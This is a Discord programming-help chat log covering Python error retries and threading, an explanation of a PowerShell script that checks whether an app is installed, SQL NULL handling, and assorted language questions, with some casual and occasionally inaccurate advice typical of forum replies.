also, that is like a basic google search question
Can you code that?
That is not coming
Look into Project Euler
It's a series of easy to very hard programming tasks
Thanks bro.. i appreciate that
I wanna have a function restart itself on error in python, any idea what is that called or how to achieve it?
I am thinking something like using a try and on except run another function that calls the original function with the same parameters
but it would be great if I can do it in the same function or if there is something I can read about this
def function(*args):
try:
# What you want to run
except error as e:
print(error)
function(*args)
I can call the function from within itself?
oh that's really handy actually, thanks
btw
you'll wanna keep an error counter
otherwise it could keep trying to run forever
Default Python recursive limit won't let it run forever
python will crash the stack way before that happens. I think max recursive depth is something like 200? it's not very much.
It only crashes once or twice during its runtime
with ThreadPoolExecutor(max_workers=int(input("\n Number of threads ------>: "))) as executor:
global wait_time
wait_time = int(input("\n hours to run ------>:")) * 60 * 60
page = str(input("\n page link ------>: "))
executor.map(automate, proxies, combo)```
Is there a convenient way to pass a number to each thread?
consecutive numbers
This is a selenium script and it seems to crash whenever I increase the thread number to anything above 10 for no reason
so I was thinking about having each thread wait 30 seconds after the previous one has launched
a couple of different ways would be use a producer-consumer pattern or you could bind a function with your number when the thread is created - I've seen both used, with producer-consumer being more common
pubsub is the way
for concurrency?
Does anyone know of any documentation/guides for making tools using the impacket library?
guys, I need to make protocols like ssl, pgp in python. What needs to be done is to send the message in encrypted form, notify that the message has reached the recipient, and I need to send it with a signature. I found a library called gnupg, I will try to do it with it, but how should I do this communication? i.e. using smtplib like mail communication or using socket, I didn't quite get it.
i think your best bet is looking at what the example scripts are doing
Alright, thanks for the tip
Gave +1 Rep to @faint sparrow
Im having trouble with last part and I don't want to search this but understand what to do
I finished the function
but the for loop has be a little confused
I had to put +1
Have a look at line 8, for n in range(0,9) - the 9 is not inclusive (i.e it only goes from 0 to 8)
You need to do for n in range(0,10)
I know this but it says
0 to 9
@surreal bronze Can you make sure it's not Homework/ Assignments before helping, please 🙂
My bad, will do next time 😅
I dont know what I should put
range(0.9)
or
(0, 10)
actually your right
from 0.9
it goes until 8
so your right
is it homework / assignment?
its coursera
very weird tho
how is this wrong?
um @pine cypress
I saw that. Saying that kind of thing is not acceptable.
1! != 2
you didn't read the problem spec properly
there are two hard problems in programming: naming things, cache eviction, and off-by-one errors
What exactly are you hoping to accomplish?
Hi guys , I'm not able to understand the below PowerShell code snippet, can anyone help me to figure it out.
I can understand the basics of this code. But I'm not sure if it is actually uninstalling the application. To my knowledge we use "UninstallString" to uninstall application.
Thanks in advance.
--> ######## Make changes within the block ######## # Add Application name exactly as it appears in Add/Remove Programs, Programs and Features, or Apps and Features between single quotes. $appName = 'application-name' ############################################### # Define registry location for uninstall keys $uninstReg = @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall') # Get all entries that match our criteria. DisplayName matches $appName (using -like to support special characters) $installed = @(Get-ChildItem $uninstReg -ErrorAction SilentlyContinue | Get-ItemProperty | Where-Object {($_.DisplayName -like $appName)}) # If any matches were found, $installed will return a "1" and pass it to $exitCode flagging the device for remediation. if ($installed) { return 0 } else { return 1 }
I haven't looked at it properly yet but seems interesting. I use Go a lot and don't like it so much, but a lower level language like Carbon might be up my street 
I'm intrigued by the interopability part of it, but I don't see anything on validation and verification that it performs as expected. From a security standpoint, I couldn't find anything about secure carbon coding practices or even a simple toolchain evaluation.
Do you have any examples for unit testing or even behavioral testing?
I do not 🙏 I am going to recreate some infosec tool in Carbon to see how it works. Probably Sherlock? I am also interesting in the security part of it. I'm not sure whats so different but I'll find out by building in it 😄
I asked in the Carbon Discord how I can get started and:
Carbon is really experimental so there's not really a compiler right now
There's no compiler for a compiled language
i think the compiler is just an MVP to get it to do something
is what they meant
Think I'll give up and learn Nim on the weekend
I was planning on taking a look at how the disassembly looked to see what reversing is like but I guess not lmao
It looked to me like they are using LLVM as a backend - if that's the case, all they would really need is to write the parser to generate the stack frames so LLVM can write out the binary
Just wanted to know how can I upgrade scapy to a newer version
thank u babe
Gave +1 Rep to @clear needle
Hey there,
The variable $appName is being used as a string variable (although not specified), this will be the application name the script will search for
$appName = 'application-name'
When an app is installed in Windows, it'll create a registry entry so that it can be uninstalled. This variable is simply taking note of which registry folder the script needs to search
$uninstReg = @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall') ```
This variable will get all of the items in one or more specified locations, they've added the -ErrorAction SilentlyContinue because I presume any errors would cause the script to hault. Those results are piped into another command to get the itemproperty, those results are piped so that a filter can be applied to only look for items where the DisplayName looks like what was entered in the $appName variable
```powershell
$installed = @(Get-ChildItem $uninstReg -ErrorAction SilentlyContinue | Get-ItemProperty | Where-Object {($_.DisplayName -like $appName)})
Lastly if the $installed variable returns True, then Powershell will return the exit code 0 (which is the same as True) otherwise in all other cases Powershell will return a 1 (which is the same as False)
if ($installed) { return 0 } else { return 1 }
The script won't actually uninstall anything, it's only returning whether the app you're looking for is installed or not based on whether the registry key is present.
I hope this helps!
hey all,
any react native expert ?
i need little help
Got it pal. Thanks for info.
Gave +1 Rep to @vast parcel
I am trying to execute threads with time between each but I am struggling
global queue_time
queue_time += int(input("Time between threads ------>: "))
return queue_time```
this is what I currently use and I time.sleep(queue) in the function
This works great for the initial threads but I sometimes restart threads when they encounter errors, so whenever that happens, all initial threads are already running except 1 but it still waits for all the time combined anyways
any way to make it dynamic?
I am thinking about time.time() but seems funky
Before I give a few ideas, first I would like to explain how functions work in Python.
In all programming languages, for functions to work you will have the parameters (so the argument passed into the function) and the value that is returned.
So, if I wanted to have a program to display my name, I would simply do:
def display_name(name):
print("Hello " + name)
display_name("John")
In this example, the variable "name" in display_name(name) is referred to as a parameter, without having it there, I would not be able to use the variable "name" in the function without defining it. This allows us to access a variable from another section of the code, without having to directly define it inside the function.
Similarly, variables/ values defined inside of functions usually cannot be accessed outside of the code, this is why we use the return statement.
So, if I wanted to call the function but return the value, the code would like like this:
def display_name(name):
return "Hello " + name
name = input("Please enter your name: ")
say_hello = display_name(name)
print(say_hello)
This was a little long winded of an example, but I hope you understand why I did what I did.
Now, in your code, you are using global queue_time, as well as returning that exact value. You have made the queue_time variable accessible throughout the code, but also returned it which kind of makes the global code useless unless it is defined before the function, but this can be passed into the function using parameters as stated above.
anyone know how to get the second SELECT to return results without null?
I would recommend researching what global does respectively because you rarely actually need to use it and when you do, it is more than obvious that you need to make a variable global. It is also very messy and can get complicated from both a coding stand point and from outside when reading your code.
basically combining each result
(Cant use ‘where age is not null or location is not null’ because that has to go before GROUP BY and then it does it on singular rows rather than the grouped row)
Could you try specifying a UUID?
oh no the code actually works fine I have the global variable defined already, it's a multithreaded script so I have a global variable to keep track of the time across all threads
ffs ignore, Discord goes brr
But it's just that I can't sync it properly
Like whenever a function dies the function tells it to run after an hour while the queue is actually empty
Are you using thread.cancel anywhere?
You need to cancel your threads if they're erroring
I'd probably code a thread handler
I don't want the number of threads to decrease, if I cancel the thread won't it just die and stop the rest of the code?
what do you mean?
cause ideally I'd want it to recursively run another thread when one dies
Sorry, just to understand, are you looking to get both results to be inserted into the same row or just non-null results to not be returned?
You're getting a null because that collumn contains a null. You could use a CASE statement for example to change the null into something else
anyone familiar with Golang here ? :V I wanna do some packet analysis , like reading the packets and classing them depends of some attacks , but Gopacket library doesnt look like it can help
using globals this way is a terrible idea. it makes everything way more complicated, and can introduce some really terrible to debug race conditions. Use a thread pool to manage your threads, and remember to appropriately close your thread objects as dictated by whatever thread mechanism you are using.
No. This is why they are never stopping. Recursively starting a thread is a great way to cause the python stack to topple over.
This is the only thing I could think of but I don't think it is your desired output
yeah i tried this too
I don't think it's possible ngl
doesn’t work because group by only returns the first grouping
rather than all groups
and the first group is the first row, without a location
the having this or that clause won't work because only one of them need to be true for it to return a result

I'd use a CASE statement:
SELECT firstName, lastName, age, location
CASE
WHEN firstName is null then 'Enter string to replace null with'
WHEN lastName is null then 'Enter string to replace null with'
WHEN age is null then 'Enter string to replace null with'
WHEN location is null then 'Enter string to replace null with'
END
GROUP BY firstName, lastName
Or you can use coalesce:
SELECT coalesce(columncontainingnullhere, 'Enter string to replace null with')
You can also change the order by, if a particular column returns null as per this example from w3 schools:
SELECT CustomerName, City, Country
FROM Customers
ORDER BY
(CASE
WHEN City IS NULL THEN Country
ELSE City
END)
Hey man thankyou soo much. This is exactly what I'm looking for. Understood each and everything thanks.
Gave +1 Rep to @wraith latch
Awesome, glad that helped!
how do I make a multithreaded python script sleep until a variable is set?
a while True loop and break if variable is true?
but I don't want just sleep since it's undefined time
I want it to check if another function has executed and if it did then it can proceed to return something
a timed loop will only be wasting resources I believe
That's called a spin lock
Inter process signalling and communication is the hardest part of concurrency
It's really simple in my mind but it's just that everything messes around when they are all working yes
but thanks now I know what to look for
Has anyone made a NES game before?
